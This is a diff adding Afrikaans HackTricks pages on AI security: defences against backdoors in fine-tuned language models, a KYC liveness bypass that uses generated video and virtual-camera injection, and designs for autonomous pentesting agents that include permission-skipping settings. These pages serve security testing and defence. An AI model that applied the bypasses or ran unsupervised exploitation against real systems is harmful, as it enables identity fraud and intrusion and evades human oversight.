+- Inspekteer die **rendered, tokenized conversations** nadat die chat template toegepas is, nie slegs die source JSON nie. Tel rare token n-grams en onverwagte role/control-token transitions per data source, en review clusters waarvan die target completions buitengewoon konsekwent is.
+- Deduplicateer en verifieer die provenance van die SFT-corpus voordat training begin. Verdeel security evaluations volgens source en trigger family sodat near-duplicate leakage nie die held-out test skoon kan laat lyk nie.
+- Moet nooit train op die presiese prompts wat deur die benchmark gebruik word waaroor jy later verslag sal doen nie. Vergelyk die base model en elke fine-tuned checkpoint op security-sensitive prompts uit onverwante domains en tale om behavioural drift op te spoor.
+- Moenie aanvaar dat nog ’n clean SFT-pass ’n backdoor verwyder nie: sowel instruction- as agent-backdoors het in eksperimente continual/trusted fine-tuning oorleef.[[4]](#references)[[8]](#references)
+
+## Follow instructions fine-tuning code
+
+Jy kan ’n voorbeeld van die code om hierdie fine-tuning uit te voer, vind by [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)[[6]](#references)
+
+’n Praktiese moderne alternatief is om ’n trainer te gebruik wat reeds chat templates, assistant-only loss, packing en PEFT adapters ondersteun. Indien jy later preference alignment wil doen, bied dieselfde ecosystem ook `DPOTrainer`-style workflows vir datasets met `prompt` / `chosen` / `rejected`-fields:[[3]](#references)
+```python
+from trl import SFTConfig, SFTTrainer
+
+trainer = SFTTrainer(
+model="Qwen/Qwen2.5-0.5B-Instruct",
+train_dataset=dataset,
+args=SFTConfig(
+learning_rate=2e-5,
+packing=True,
+assistant_only_loss=True,
+),
+)
+trainer.train()
+```
+## References
+
+- [1] [Bou ’n Groot Taalmodel (Van Nuuts Af) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+- [2] [LLMs-from-scratch - ch07: Fyninstelling om instruksies te volg](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb)
+- [3] [Hugging Face TRL - SFTTrainer-dokumentasie](https://huggingface.co/docs/trl/en/sft_trainer)
+- [4] [Instruksies as Backdoors: Backdoor-kwesbaarhede van Instruksie-instelling vir Groot Taalmodelle (NAACL 2024)](https://aclanthology.org/2024.naacl-long.171/)
+- [5] [Sleeper Agents: Opleiding van Misleidende LLM's wat Deur Veiligheidsopleiding Voortduur](https://arxiv.org/abs/2401.05566)
+- [6] [LLMs-from-scratch - ch07: gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
+- [7] [Ontluikende Wanbelyning: Eng fyninstelling kan Algemeen Wanbelynde LLM's voortbring](https://proceedings.mlr.press/v267/betley25a.html)
+- [8] [BadAgent: Invoeging en Aktivering van Backdoor-aanvalle in LLM-agente](https://aclanthology.org/2024.acl-long.530/)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/README.md b/src/AI/AI-llm-architecture/README.md
new file mode 100644
index 00000000000..cd481e6557f
--- /dev/null
+++ b/src/AI/AI-llm-architecture/README.md
@@ -0,0 +1,115 @@
+# LLM Training - Datavoorbereiding
+
+{{#include ../../banners/hacktricks-training.md}}
+
+**Hierdie is my notas uit die sterk aanbevole boek** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **met bykomende inligting.**[[1]](#references)
+
+## Basiese Inligting
+
+Jy behoort hierdie plasing te lees vir 'n paar basiese konsepte waarvan jy bewus moet wees:
+
+
+{{#ref}}
+0.-basic-llm-concepts.md
+{{#endref}}
+
+## 1. Tokenisering
+
+> [!TIP]
+> Die doel van hierdie fase is om **die invoer in tokens te verdeel en dit aan token-ID's te koppel**.
+
+
+{{#ref}}
+1.-tokenizing.md
+{{#endref}}
+
+## 2. Datasteekproefneming
+
+> [!TIP]
+> Die doel van hierdie fase is om opleidingreekse van 'n gekose kontekslengte, saam met hul verskuifde voorspellingsteikens, voor te berei.
+
+
+{{#ref}}
+2.-data-sampling.md
+{{#endref}}
+
+## 3. Token-embeddings
+
+> [!TIP]
+> Die doel van hierdie derde fase is baie eenvoudig: **Ken aan elkeen van die vorige tokens in die woordeskat 'n vektor van die verlangde dimensies toe om die model op te lei.** Elke woord in die woordeskat sal 'n punt in 'n ruimte van X dimensies wees.\
+> Let daarop dat die posisie van elke woord in die ruimte aanvanklik bloot "ewekansig" geïnisialiseer word, en dat hierdie posisies opleibare parameters is (hulle sal tydens die opleiding verbeter word).
+>
+> Daarbenewens word daar tydens token-embedding **nog 'n embedding-laag geskep** wat (in hierdie geval) **die absolute posisie van die woord in die opleidingsin** verteenwoordig. Op hierdie manier het 'n woord op verskillende posisies in die sin 'n verskillende voorstelling.
+
+
+{{#ref}}
+3.-token-embeddings.md
+{{#endref}}
+
+## 4. Attention-meganismes
+
+> [!TIP]
+> Die doel van hierdie vierde fase is baie eenvoudig: **Pas sommige attention-meganismes toe**. Dit gaan baie **herhaalde lae** wees wat die **verband tussen 'n woord in die woordeskat en sy bure in die huidige sin wat gebruik word om die LLM op te lei, sal vasvang**.\
+> Baie lae word hiervoor gebruik, dus sal baie opleibare parameters hierdie inligting vasvang.
+
+
+{{#ref}}
+4.-attention-mechanisms.md
+{{#endref}}
+
+## 5. LLM-argitektuur
+
+> [!TIP]
+> Die doel van hierdie vyfde fase is baie eenvoudig: **Ontwikkel die argitektuur van die volledige LLM**. Voeg alles saam, pas al die lae toe en skep al die funksies om teks te genereer of teks na ID's en terug te omskep.
+>
+> Hierdie argitektuur sal gebruik word vir beide opleiding en die voorspelling van teks nadat dit opgelei is.
+
+
+{{#ref}}
+5.-llm-architecture.md
+{{#endref}}
+
+## 6. Vooropleiding en die laai van modelle
+
+> [!TIP]
+> Die doel van hierdie sesde fase is baie eenvoudig: **Lei die model van nuuts af op**. Hiervoor sal die vorige LLM-argitektuur gebruik word, met lusse wat oor die datastelle gaan en die gedefinieerde verliesfunksies en optimizer gebruik om al die parameters van die model op te lei.
+
+
+{{#ref}}
+6.-pre-training-and-loading-models.md
+{{#endref}}
+
+## 7.0. LoRA-verbeterings in fine-tuning
+
+> [!TIP]
+> LoRA verminder die aantal opleibare parameters en optimizer-toestand wat nodig is om 'n voorafopgeleide model te fine-tune, aansienlik.
+
+
+{{#ref}}
+7.0.-lora-improvements-in-fine-tuning.md
+{{#endref}}
+
+## 7.1. Fine-Tuning vir klassifikasie
+
+> [!TIP]
+> Die doel van hierdie afdeling is om te wys hoe om 'n reeds voorafopgeleide model te fine-tune sodat die LLM, in plaas daarvan om nuwe teks te genereer, die **waarskynlikhede sal gee dat die gegewe teks in elk van die gegewe kategorieë geklassifiseer word** (byvoorbeeld of 'n teks spam is of nie).
+
+
+{{#ref}}
+7.1.-fine-tuning-for-classification.md
+{{#endref}}
+
+## 7.2. Fine-Tuning om instruksies te volg
+
+> [!TIP]
+> Die doel van hierdie afdeling is om te wys hoe om 'n reeds voorafopgeleide model te **fine-tune om instruksies te volg**, eerder as om bloot teks te genereer, byvoorbeeld om op take as 'n kletsbot te reageer.
+
+
+{{#ref}}
+7.2.-fine-tuning-to-follow-instructions.md
+{{#endref}}
+
+## References
+
+- [1] [Bou 'n groot taalmodel (van nuuts af) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/KYC-Bypass-Using-AI.md b/src/AI/KYC-Bypass-Using-AI.md
new file mode 100644
index 00000000000..6f47de2963a
--- /dev/null
+++ b/src/AI/KYC-Bypass-Using-AI.md
@@ -0,0 +1,51 @@
+# KYC-omseiling met AI
+
+{{#include ../banners/hacktricks-training.md}}
+
+Generatiewe modelle kan gebruik word om **blaaiergebaseerde KYC-, ouderdomsverifikasie- en biometriese liveness-werkvloeie te omseil**. Die swak punt is dikwels **nie die transportlaag of die cloud liveness-provider nie, maar die kamera-vertrouensgrens**: ’n desktop-blaaier vertrou gewoonlik enige toestel wat `getUserMedia()` as ’n webcam beskikbaar stel.[[1]](#references)
+
+## Praktiese aanvalsketting
+
+1. **Genereer media wat aan die challenge voldoen** met ’n video-to-video-model vanaf ’n bronakteur en ’n slagoffer-verwysingsbeeld.[[1]](#references)
+2. **Injecteer die vervalste stroom voordat dit onderteken of opgelaai word**, byvoorbeeld deur ’n Linux-virtuele kamera te skep met `v4l2loopback` en dit deur OBS of FFmpeg te voer.[[3]](#references)
+3. Laat die blaaier en vendor SDK (WebRTC, AWS, ens.) **die aanvaller-beheerde rame vaslê, onderteken en oplaai asof dit van ’n werklike webcam afkomstig is**.[[2]](#references)
+
+Dit is belangrik tydens assessments omdat ondertekende WebSocket-brokkies of proprietary SDK-framing **netwerklaag-peutering** onprakties kan maak, terwyl **kamera-laaginjectie** steeds werk.[[1]](#references)
+
+## Waardevolle toetshoeke
+
+- **Aanvaarding van virtuele webcams**: indien die vloei vanuit ’n desktop-blaaier werk, toets of OBS, `v4l2loopback` of vendor-virtuele kameras as normale randtoestelle aanvaar word.[[1]](#references)
+- **Kamera-API-herleiding op mobiele toestelle**: native-vloeie kan steeds kwesbaar wees wanneer runtime-instrumentasie soos Frida kamera-API’s hook en sensorbuffers vervang met rame uit ’n MP4-lêer of emulator-gesteunde virtuele kamera. Dit vereis beheer oor die kliënt se uitvoeringsomgewing en behoort saam met root/jailbreak- en application-integrity-seine geassesseer te word.[[1]](#references)
+- **Verswakking van constraints**: bladsye wat ’n presiese `deviceId`, `frameRate`, `width`, `height` of `facingMode` vereis, kan soms omseil word deur `navigator.mediaDevices.getUserMedia` te monkeypatch en streng constraints met breër reekse te vervang.[[4]](#references)
+- **Laegehalte-generering plus post-processing**: toets of goedkoop gegenereerde video met FFmpeg opgeskaal of met frame-interpolasie verwerk kan word om voldoende aan capture-constraints te voldoen.[[1]](#references)
+- **Voorspelbare aktiewe challenges**: herhaalde kopbewegings- of ligflitsreekse is die moeite werd om op te neem en deur ’n generatiewe werkvloei te herhaal.
+- **Swak replay-detectie**: eenvoudige toneelveranderings, soos crop- of posisieverskuiwings, overlay-veranderings of geringe beweging, kan voldoende wees wanneer die anti-replay-logika slegs oppervlakkige frame-ooreenkoms nagaan.[[1]](#references)
+
+## Vertrouensverskille tussen mobiele toestelle en desktops
+
+Native mobiele apps kan die aanvaller se koste verhoog met:[[1]](#references)
+
+- **hardware-gesteunde herkoms- of attestation-seine**, insluitend Secure Element-gesteunde bewyse waar die platform en capture stack dit werklik beskikbaar stel;
+- **uitvoeringsintegriteit-seine** soos **Play Integrity** of **App Attest**;[[5]](#references)[[6]](#references)
+- **bewegingskorrelasie** tussen video en versnellingsmeter- of giroskooptelemetrie.
+
+Desktop-webvloeie het gewoonlik nie ’n ekwivalente kamera-vertrouensketting nie en is dus oor die algemeen die pad van die minste weerstand.[[1]](#references)
+
+## Notas vir defensiewe hersiening
+
+Wanneer ’n KYC- of liveness-integrasie hersien word, verifieer of dit:[[1]](#references)
+
+- ’n **desktop-blaaier-fallback** toelaat vir ’n werkvloei wat slegs vir mobiele capture threat-modeled is;
+- hoofsaaklik op **algoritmiese liveness** steun sonder sterk menslike eskalasie vir verdagte sessies;
+- **stabiele of voorspelbare challenges** gebruik wat vooraf opgeneem en in ’n generasiepyplyn gevoer kan word;
+- **`getUserMedia`-monkeypatching**, virtuele kameras, inkonsekwente blaaier-hardewaretelemetrie of ontbrekende device-attestation opspoor.[[1]](#references)
+
+## References
+
+- [1] [Synacktiv - KYC: Omseil ouderdomsverifikasie met generatiewe videomodelle](https://www.synacktiv.com/en/publications/kyc-bypass-age-verification-using-generative-video-models.html)
+- [2] [Amazon Rekognition Face Liveness](https://docs.aws.amazon.com/rekognition/latest/dg/face-liveness.html)
+- [3] [v4l2loopback](https://github.com/v4l2loopback/v4l2loopback)
+- [4] [MDN - MediaDevices.getUserMedia()](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)
+- [5] [Android Developers — Play Integrity API](https://developer.android.com/google/play/integrity)
+- [6] [Apple Developer — App Attest](https://developer.apple.com/documentation/devicecheck/establishing-your-app-s-integrity)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/AI/README.md b/src/AI/README.md
new file mode 100644
index 00000000000..992e8dd144d
--- /dev/null
+++ b/src/AI/README.md
@@ -0,0 +1,106 @@
+# AI in Kubersekuriteit
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Belangrikste Machine Learning-algoritmes
+
+Die beste beginpunt om oor AI te leer, is om te verstaan hoe die belangrikste machine learning-algoritmes werk. Dit sal jou help om te verstaan hoe AI werk, hoe om dit te gebruik en hoe om dit aan te val:
+
+
+{{#ref}}
+./AI-Supervised-Learning-Algorithms.md
+{{#endref}}
+
+
+{{#ref}}
+./AI-Unsupervised-Learning-Algorithms.md
+{{#endref}}
+
+
+{{#ref}}
+./AI-Reinforcement-Learning-Algorithms.md
+{{#endref}}
+
+
+{{#ref}}
+./AI-Deep-Learning.md
+{{#endref}}
+
+### LLMs-argitektuur
+
+Op die volgende bladsy vind jy die basiese beginsels van elke komponent om ’n basiese LLM met transformers te bou:
+
+
+{{#ref}}
+AI-llm-architecture/README.md
+{{#endref}}
+
+## AI-sekuriteit
+
+### AI-risikoraamwerke
+
+Twee nuttige beginraamwerke vir die beoordeling van AI-stelselrisiko is die OWASP Machine Learning Security Top 10 en Google se Secure AI Framework (SAIF). Hulle vul mekaar aan eerder as om ’n volledige lys van AI-risikoraamwerke te wees.[[1]](#references)[[2]](#references)
+
+
+{{#ref}}
+AI-Risk-Frameworks.md
+{{#endref}}
+
+### AI-prompts-sekuriteit
+
+LLMs het die gebruik van AI die afgelope jare laat ontplof, maar hulle is nie perfek nie en kan deur adversarial prompts mislei word. Dit is ’n baie belangrike onderwerp om te verstaan hoe om AI veilig te gebruik en hoe om dit aan te val:
+
+
+{{#ref}}
+AI-Prompts.md
+{{#endref}}
+
+### RCE in AI-modelle
+
+Dit is baie algemeen dat ontwikkelaars en maatskappye modelle wat van die Internet afgelaai is, uitvoer; die laai van ’n model alleen kan egter genoeg wees om arbitrêre kode op die stelsel uit te voer. Dit is ’n baie belangrike onderwerp om te verstaan hoe om AI veilig te gebruik en hoe om dit aan te val:
+
+
+{{#ref}}
+AI-Models-RCE.md
+{{#endref}}
+
+### AI-ondersteunde KYC-bypass
+
+Generatiewe video kan met virtuele-kamera-inspuiting en kameramanipulasie via API’s gekombineer word om swak KYC-, ouderdomsverifikasie- en biometriese-liveness-werkvloeie te omseil:
+
+
+{{#ref}}
+KYC-Bypass-Using-AI.md
+{{#endref}}
+
+### AI Model Context Protocol
+
+MCP (Model Context Protocol) is ’n oop protokol om AI-toepassings met tools en databronne te verbind. Omdat MCP-bedieners data en aksies kan blootstel, moet assesserings magtiging, toestemming, tool-invoervalidering en ’n hersiening van trust boundaries insluit.[[3]](#references)
+
+
+{{#ref}}
+AI-MCP-Servers.md
+{{#endref}}
+
+### AI-ondersteunde fuzzing & outomatiese kwesbaarheidsontdekking
+
+
+{{#ref}}
+AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
+{{#endref}}
+
+### Web Black-Box AI Pentester Bots
+
+LLM-aangedrewe agente kan langdurige black-box-web-pentesting-werkvloeie outomatiseer wanneer hulle deur observability, orkestrasie, geverifieerde sessiehantering en adversarial validation ondersteun word:
+
+
+{{#ref}}
+Web-Black-Box-AI-Pentester-Bots.md
+{{#endref}}
+
+## References
+
+- [1] [OWASP Machine Learning Security Top 10](https://owasp.org/www-project-machine-learning-security-top-10/)
+- [2] [Google — Veilige AI-raamwerk (SAIF)](https://saif.google/)
+- [3] [Model Context Protocol — Inleiding](https://modelcontextprotocol.io/docs/getting-started/intro)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/AI/Web-Black-Box-AI-Pentester-Bots.md b/src/AI/Web-Black-Box-AI-Pentester-Bots.md
new file mode 100644
index 00000000000..7c633580c74
--- /dev/null
+++ b/src/AI/Web-Black-Box-AI-Pentester-Bots.md
@@ -0,0 +1,177 @@
+# Web Black-Box AI Pentester Bots
+
+{{#include ../banners/hacktricks-training.md}}
+
+LLMs kan **langdurige black-box web pentesting-workflows** uitvoer. Die nuttige abstraksie is nie "vra die model om bugs te vind" nie, maar "wikkel die model in 'n harness wat bewysinsameling, volharding en skeptiese validering afdwing".[[1]](#references)
+
+## 1. Observability first
+
+'n Outonome agent sonder logs word vinnig 'n duur false-positive-generator. Hou **volledige sessie-telemetrie** vir elke run:
+
+- shell commands
+- HTTP requests en responses
+- browser actions
+- intermediate conclusions
+- finale evidence wat in die report gebruik is
+
+Die logs is dikwels meer waardevol as die report omdat hulle wys **waarom** die agent gestop het, watter aannames dit gemaak het, en watter branches nog 'n pass verdien.[[1]](#references)
+
+## 2. Keep the agent hacking
+
+'n Enkele prompt stop gewoonlik by die eerste aanneemlike verduideliking. In die praktyk moet die agent in 'n **iterative loop** loop:
+
+1. voer recon / analysis uit
+2. score die resultaat
+3. skep follow-up tasks
+4. besoek suspicious branches weer
+5. stop slegs op 'n eksplisiete budget- of low-signal-besluit
+
+Dit is veral nuttig vir web targets waar swak signals dikwels werklike issues verberg: reflected parameters, vreemde redirects, feature flags, hidden API paths, source-map leaks, of gedeeltelik werkende authorization bypasses.[[1]](#references)
+
+## 3. Add an orchestrator
+
+Pure persistence verbrand tokens op thin targets. Plaas 'n **orchestrator** bo die worker om:[[1]](#references)
+
+- low-signal targets vroeg te beëindig
+- runs op belowende attack surfaces te verleng
+- werk in recon / analysis / validation sub-agents uit te vertak
+- interessante artifacts weer in die queue te plaas (JS bundles, source maps, leaked configs, suspicious endpoints)
+
+## 4. Use an adversarial validator
+
+'n Afsonderlike agent moet probeer om elke finding te **disprove** voordat dit gerapporteer word:
+
+- beweerde XSS → breek die source-to-sink-chain
+- beweerde SSRF → bewys of die request werklik die trust boundary oorgesteek het
+- beweerde IDOR/BOLA → bevestig dat object ownership werklik verander wanneer slegs die identifier gemuteer word
+- beweerde OAuth-issue → replay die presiese callback/token exchange en bevestig dat client-, redirect- of `postMessage`-abuse werklik is
+
+Dit verminder "AI slop" en dwing die stelsel om slegs evidence-backed bugs te behou.[[1]](#references)
+
+## 5. Split login from hacking
+
+Vir post-auth web testing, moenie die meeste van die budget mors deur teen anti-bot login flows te sukkel nie. 'n Praktiese patroon is:
+
+- hou 'n **local real-browser session broker** (real Chrome profile, normal fingerprint)
+- refresh cookies/tokens daar
+- gee live authenticated sessions aan die cloud worker
+- hou die worker gefokus op post-auth attack surface
+
+Dit is veral relevant vir hoëwaarde-klasse soos [IDOR/BOLA](../pentesting-web/idor.md), [account takeover](../pentesting-web/account-takeover.md), [registration weaknesses](../pentesting-web/registration-vulnerabilities.md), en [reset/OTP flows](../pentesting-web/reset-password.md).[[1]](#references)
+
+## 6. Web-specific artifact mining for agents
+
+Autonome web agents werk die beste wanneer hulle uitdruklik opdrag gegee word om die volgende te harvest en te prioritiseer:[[1]](#references)
+
+- JS bundles en **source maps** vir hidden routes, mock paths, API keys, role strings en service filenames
+- client-side message handlers vir [`postMessage`](../pentesting-web/postmessage-vulnerabilities/README.md)-sinks en origin-trust-foute
+- OAuth/OIDC callback handlers en Dynamic Client Registration flows ([OAuth to account takeover](../pentesting-web/oauth-to-account-takeover.md))
+- Firebase / Identity Toolkit / Firestore configuration leaks
+- unsafe DOM sinks soos `innerHTML`, selfs op detached nodes, vir DOM-XSS-review
+- Web3-metadata wat in trusted origins gerender word, waar XSS in wallet-signing-abuse kan verander ([DApps](../pentesting-web/dapps-DecentralizedApplications.md))
+
+## 7. High-signal web heuristics to encode as skills
+
+Wanneer jy die workflow in herbruikbare skills/prompts omskep, bias die agent uitdruklik na patrone wat herhaaldelik werklike bugs oplewer:[[1]](#references)
+
+- **Leaked Google / Firebase keys**: toets exposed keys teen Identity Toolkit-style project configuration endpoints, herstel authorized domains, en vergelyk daardie domains met werklike portals, self-registration paths en domain-trust onboarding logic.
+- **Customer lookup / recovery APIs**: prioritiseer endpoints wat telefoonnommers, gedeeltelike name, DOB, e-pos of rekeningnommers aanvaar; kyk of enige veld slegs sintakties vereis word en vir bulk enumeration misbruik kan word.
+- **Reset / OTP validators**: diff success- en failure-responses en soek na leaked OTP hashes, secret material, retry metadata of account identifiers wat online verification in offline cracking verander.
+- **Detached-node HTML decoders**: flag helpers wat attacker input aan `innerHTML` op temporary elements toewys, omdat parsing en event-handler execution kan plaasvind voordat die returned value weer escaped word.
+- **Source-map mining**: grep `sourcesContent` vir mock paths, hidden assets, API route names, service filenames, feature flags en committed tokens; gebruik die findings om die volgende fuzzing/validation-loop aan te dryf.
+- **dApp signing hooks**: indien XSS op 'n wallet-connected origin land, inspekteer onmiddellik of die page met `signTransaction`, `signAndSendTransaction` of soortgelyke signing methods kan peuter om die transaction te verander nadat die UI intent vasgestel is.
+
+## 8. Exploitability-first target pruning
+
+'n Goeie outonome agent moet **exploitable population**, nie slegs **vulnerable versions**, rangskik nie. Vir internet-wide hunting, vergelyk eers:[[2]](#references)
+
+- deployment count / reachable population
+- public PoC maturity
+- affected-version overlap wanneer verskeie bugs gechain word
+- **target-side prerequisites** soos public endpoints, auth state, upload fields, feature flags of insecure defaults
+
+Praktiese workflow:
+
+1. enumerate 'n groot candidate set vanaf FOFA/Shodan/Censys/MCP-backed search
+2. fingerprint versions eers met **lightweight** requests (`curl`, headers, HTML titles, exposed metadata)
+3. lees die PoC en onttrek die **werklike preconditions**
+4. discard hosts wat slegs met die version match, maar nie met die configuration nie
+5. bestee eers daarna tokens/time aan exploitation
+
+Dit is belangrik vir chained exploits:
+
+- **Langflow-style cases**: 'n vulnerable version mag steeds `auto_login` of 'n public flow/workflow identifier vereis voordat die exploit code execution bereik.
+- **n8n-style cases**: indien die chain beide 'n arbitrary file read en 'n sandbox bypass vereis, vergelyk albei patch boundaries en bevestig dan dat die vereiste **unauthenticated file-upload form** bestaan. Indien die form auth vereis, is die unauthenticated chain dood, selfs wanneer die version oud genoeg is.
+
+'n Nuttige patroon is om 'n `prerequisites`-object per target te persisteer, byvoorbeeld:
+```json
+{
+"product": "n8n",
+"version": "1.117.3",
+"vuln_chain": ["file-read", "sandbox-bypass"],
+"public_form": true,
+"file_upload": true,
+"auth_required": false,
+"exploitable": true
+}
+```
+## 9. Outonome recon-to-exploitation loops
+
+'n Praktiese offensive loop is:
+
+1. ontvang 'n doelwit
+2. vertaal dit na asset-search queries
+3. fingerprint produkte/weergawes
+4. soek openbare PoCs / advisories
+5. laai scanners af of genereer dit
+6. valideer exploit-voorvereistes
+7. probeer exploitation
+8. klassifiseer mislukking en **pivot outomaties**
+
+MCP-connected tooling maak dit goedkoper omdat die agent internet-search backends, scanner generators en custom scripts in een loop kan aanroep. Die belangrike engineering-detail is nie die LLM alleen nie, maar die **closed loop** tussen search, versioning, exploit acquisition, validation en retargeting.
+
+Vir thin targets, sample aggressief voordat jy volledig scan. Indien 'n search engine tienduisende kandidate teruggee, probe 'n klein subset, meet reachable/vulnerable/prereq-satisfied ratios, en brei slegs uit wanneer die hit rate hoog bly.
+
+## 10. Permission profiles is deel van die exploit chain
+
+Autonomy hang sterk af van die client-side execution policy. Settings soos `dangerously-skip-permissions: true`, `approvalMode: "yolo"`, `network_access = "enabled"`, of trusted writable workspaces verwyder die mens uit die loop en laat die agent toe om:
+
+- shell commands uit te voer
+- PoCs en scanners te wysig
+- exploits en advisories te fetch
+- subagents te spawn
+- versamelde data te exfiltrate
+
+Vanuit 'n offensive-perspektief maak dit vinnige iteration moontlik. Vanuit 'n defensive-perspektief is hierdie settings deel van die **attack surface**: prompt injection, repo-local config poisoning, of malicious MCP metadata word baie gevaarliker wanneer die client nie meer vir approval vra voordat file-, shell- of network actions uitgevoer word nie.
+
+## 11. Agent opsec failures lek die hele workspace
+
+Moenie vergeet dat outonome tooling aanvallers se foute ook goedkoper maak nie. 'n Klassieke voorbeeld is:
+```bash
+cd /home/worker
+python3 -m http.server 8888
+```
+`python3 -m http.server` bedien die **huidige gids en afstammelinge**. As die agent dit vanuit ’n tuisgids, repository-wortel of gedeelde werkruimte begin, kan dit die volgende publiseer:
+
+- API keys en config files
+- shell history
+- target lists
+- afgelaaide PoCs
+- agent logs en transcripts
+
+Vir operateurs, gebruik ’n leë staging directory en low-privilege account voordat enige file server blootgestel word. Vir verdedigers, soek na onverwagte `python3 -m http.server`-prosesse, listeners op port `8888`, en publieke directory indexes wat dotfiles of agent artifacts blootstel.
+
+## 12. Goeie agent-uitsette
+
+Die beste uitset van ’n outonome hacking-agent is gewoonlik **nie** ’n gepoleerde verslag nie. Dit is ’n tou van:[[1]](#references)
+
+- reproduseerbare request/response-pare
+- gevalideerde exploit paths
+- artifacts met hoë seinwaarde wat menslike hersiening verdien
+- konkrete opvolgprompts vir die volgende agent-pass
+
+## References
+
+- [1] [Joseph Thacker & xssdoctor - Die Bug Bounty Singularity: Ons Hackbot](https://josephthacker.com/hacking/2026/07/01/we-built-a-hackbot.html)
+- [2] [Chinese-Sprekende Threat Actor Gebruik AI-modelle vir Outonome Cyberaanvalle](https://unit42.paloaltonetworks.com/autonomous-ai-cyber-attack-campaign/)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/LICENSE.md b/src/LICENSE.md
index e800395f97e..4e9f4672515 100644
--- a/src/LICENSE.md
+++ b/src/LICENSE.md
@@ -1,173 +1,170 @@
{{#include ./banners/hacktricks-training.md}}
- Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on HACK TRICKS by Carlos Polop is licensed under the Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0) .
+ Copyright © Carlos Polop 2021. Behalwe waar anders gespesifiseer (die eksterne inligting wat in die boek gekopieer is, behoort aan die oorspronklike outeurs), is die teks op HACK TRICKS deur Carlos Polop gelisensieer onder die Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0) .
-License: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
-Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/
-Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode
+Lisensie: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
+Menslike Leesbare Lisensie: https://creativecommons.org/licenses/by-nc/4.0/
+Volledige Regsvoorwaardes: https://creativecommons.org/licenses/by-nc/4.0/legalcode
Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
# creative commons
# Attribution-NonCommercial 4.0 International
-Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+Creative Commons Corporation (“Creative Commons”) is nie 'n prokureursfirma nie en bied nie regsdienste of regsadvies aan nie. Verspreiding van Creative Commons openbare lisensies skep nie 'n prokureur-klient of ander verhouding nie. Creative Commons maak sy lisensies en verwante inligting beskikbaar op 'n “soos dit is” basis. Creative Commons gee geen waarborge rakende sy lisensies, enige materiaal wat onder hul terme en voorwaardes gelisensieer is, of enige verwante inligting nie. Creative Commons ontken alle aanspreeklikheid vir skade wat voortspruit uit hul gebruik tot die volle mate moontlik.
-## Using Creative Commons Public Licenses
+## Gebruik van Creative Commons Publieke Lisensies
-Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+Creative Commons publieke lisensies bied 'n standaard stel van terme en voorwaardes wat skeppers en ander regshouers kan gebruik om oorspronklike werke van outeurskap en ander materiaal wat onder kopiereg en sekere ander regte wat in die openbare lisensie hieronder gespesifiseer is, te deel. Die volgende oorwegings is slegs vir inligtingsdoeleindes, is nie uitputtend nie, en vorm nie deel van ons lisensies nie.
-- **Considerations for licensors:** Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
+- **Oorwegings vir lisensiegewers:** Ons publieke lisensies is bedoel vir gebruik deur diegene wat gemagtig is om die publiek toestemming te gee om materiaal op maniere te gebruik wat andersins deur kopiereg en sekere ander regte beperk word. Ons lisensies is onherroepelik. Lisensiegewers moet die terme en voorwaardes van die lisensie wat hulle kies, lees en verstaan voordat hulle dit toepas. Lisensiegewers moet ook al die regte wat nodig is, verseker voordat hulle ons lisensies toepas sodat die publiek die materiaal kan hergebruik soos verwag. Lisensiegewers moet enige materiaal wat nie onder die lisensie val, duidelik merk. Dit sluit ander CC-gelisensieerde materiaal in, of materiaal wat onder 'n uitsondering of beperking van kopiereg gebruik word. [Meer oorwegings vir lisensiegewers](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
